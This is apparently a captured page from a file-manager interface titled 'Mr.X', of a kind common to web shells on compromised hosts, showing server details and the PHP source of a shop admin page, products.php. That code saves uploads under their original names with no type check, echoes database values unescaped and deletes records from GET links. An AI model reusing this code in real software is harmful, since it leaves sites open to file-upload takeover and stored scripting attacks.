🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:products.php
<?php include 'header.php'; // Handle Delete if(isset($_GET['delete'])) { $id = intval($_GET['delete']); $conn->query("DELETE FROM products WHERE id = $id"); header("Location: products.php"); } // Handle Add/Edit $edit_prod = null; if(isset($_GET['edit'])) { $id = intval($_GET['edit']); $edit_prod = $conn->query("SELECT * FROM products WHERE id = $id")->fetch_assoc(); } if(isset($_POST['save_product'])) { $name = $_POST['name']; $cat_id = $_POST['category_id']; $price = $_POST['price']; $old_price = $_POST['old_price']; $discount = $_POST['discount']; $desc = $_POST['description']; $image = $_POST['existing_image']; if(!empty($_FILES['image']['name'])) { $image = time() . "_" . $_FILES['image']['name']; move_uploaded_file($_FILES['image']['tmp_name'], "../uploads/" . $image); } if(isset($_POST['product_id']) && !empty($_POST['product_id'])) { $id = $_POST['product_id']; $stmt = $conn->prepare("UPDATE products SET name=?, category_id=?, price=?, old_price=?, discount=?, image=?, description=? WHERE id=?"); $stmt->bind_param("siddissi", $name, $cat_id, $price, $old_price, $discount, $image, $desc, $id); } else { $stmt = $conn->prepare("INSERT INTO products (name, category_id, price, old_price, discount, image, description) VALUES (?, ?, ?, ?, ?, ?, ?)"); $stmt->bind_param("siddiss", $name, $cat_id, $price, $old_price, $discount, $image, $desc); } $stmt->execute(); header("Location: products.php"); } ?> <div class="d-flex justify-content-between align-items-center mb-4"> <h2>Manage Products</h2> <button class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#productModal"><i class="fa fa-plus"></i> Add Product</button> </div> <div class="card"> <div class="table-responsive"> <table class="table table-hover align-middle mb-0"> <thead> <tr> <th>ID</th> <th>Image</th> <th>Name</th> <th>Category</th> <th>Price</th> <th>Discount</th> <th>Action</th> </tr> </thead> <tbody> <?php $res = $conn->query("SELECT p.*, c.name as cat_name FROM products p JOIN categories c ON p.category_id = c.id ORDER BY p.id DESC"); while($row = $res->fetch_assoc()): ?> <tr> <td><?php echo $row['id']; ?></td> <td><img src="../uploads/<?php echo $row['image']; ?>" height="50" class="rounded"></td> <td><?php echo $row['name']; ?></td> <td><?php echo $row['cat_name']; ?></td> <td>Rs. <?php echo number_format($row['price'], 2); ?></td> <td><span class="badge bg-success"><?php echo $row['discount']; ?>%</span></td> <td> <a href="products.php?edit=<?php echo $row['id']; ?>" class="btn btn-sm btn-outline-primary"><i class="fa fa-edit"></i></a> <a href="products.php?delete=<?php echo $row['id']; ?>" class="btn btn-sm btn-outline-danger" onclick="return confirm('Are you sure?')"><i class="fa fa-trash"></i></a> </td> </tr> <?php endwhile; ?> </tbody> </table> </div> </div> <!-- Product Modal --> <div class="modal fade <?php echo $edit_prod ? 'show' : ''; ?>" id="productModal" tabindex="-1" style="<?php echo $edit_prod ? 'display:block' : ''; ?>"> <div class="modal-dialog modal-lg"> <form action="products.php" method="POST" enctype="multipart/form-data" class="modal-content"> <div class="modal-header"> <h5 class="modal-title"><?php echo $edit_prod ? 'Edit Product' : 'Add New Product'; ?></h5> <a href="products.php" class="btn-close"></a> </div> <div class="modal-body"> <input type="hidden" name="product_id" value="<?php echo $edit_prod['id'] ?? ''; ?>"> <input type="hidden" name="existing_image" value="<?php echo $edit_prod['image'] ?? ''; ?>"> <div class="row"> <div class="col-md-8"> <div class="mb-3"> <label class="form-label">Product Name</label> <input type="text" name="name" class="form-control" required value="<?php echo $edit_prod['name'] ?? ''; ?>"> </div> </div> <div class="col-md-4"> <div class="mb-3"> <label class="form-label">Category</label> <select name="category_id" class="form-select" required> <?php $cats = $conn->query("SELECT * FROM categories"); while($cat = $cats->fetch_assoc()) { $selected = ($edit_prod && $edit_prod['category_id'] == $cat['id']) ? 'selected' : ''; echo "<option value='{$cat['id']}' $selected>{$cat['name']}</option>"; } ?> </select> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="mb-3"> <label class="form-label">Price (Rs.)</label> <input type="number" step="0.01" name="price" class="form-control" required value="<?php echo $edit_prod['price'] ?? ''; ?>"> </div> </div> <div class="col-md-4"> <div class="mb-3"> <label class="form-label">Old Price (Rs.)</label> <input type="number" step="0.01" name="old_price" class="form-control" value="<?php echo $edit_prod['old_price'] ?? ''; ?>"> </div> </div> <div class="col-md-4"> <div class="mb-3"> <label class="form-label">Discount (%)</label> <input type="number" name="discount" class="form-control" value="<?php echo $edit_prod['discount'] ?? 0; ?>"> </div> </div> </div> <div class="mb-3"> <label class="form-label">Product Image</label> <input type="file" name="image" class="form-control" <?php echo $edit_prod ? '' : 'required'; ?>> <?php if($edit_prod): ?> <small class="text-muted">Leave empty to keep current image</small> <?php endif; ?> </div> <div class="mb-3"> <label class="form-label">Description</label> <textarea name="description" class="form-control" rows="4"><?php echo $edit_prod['description'] ?? ''; ?></textarea> </div> </div> <div class="modal-footer"> <a href="products.php" class="btn btn-secondary">Cancel</a> <button type="submit" name="save_product" class="btn btn-primary">Save Product</button> </div> </form> </div> </div> <?php if($edit_prod): ?><div class="modal-backdrop fade show"></div><?php endif; ?> <?php include 'footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder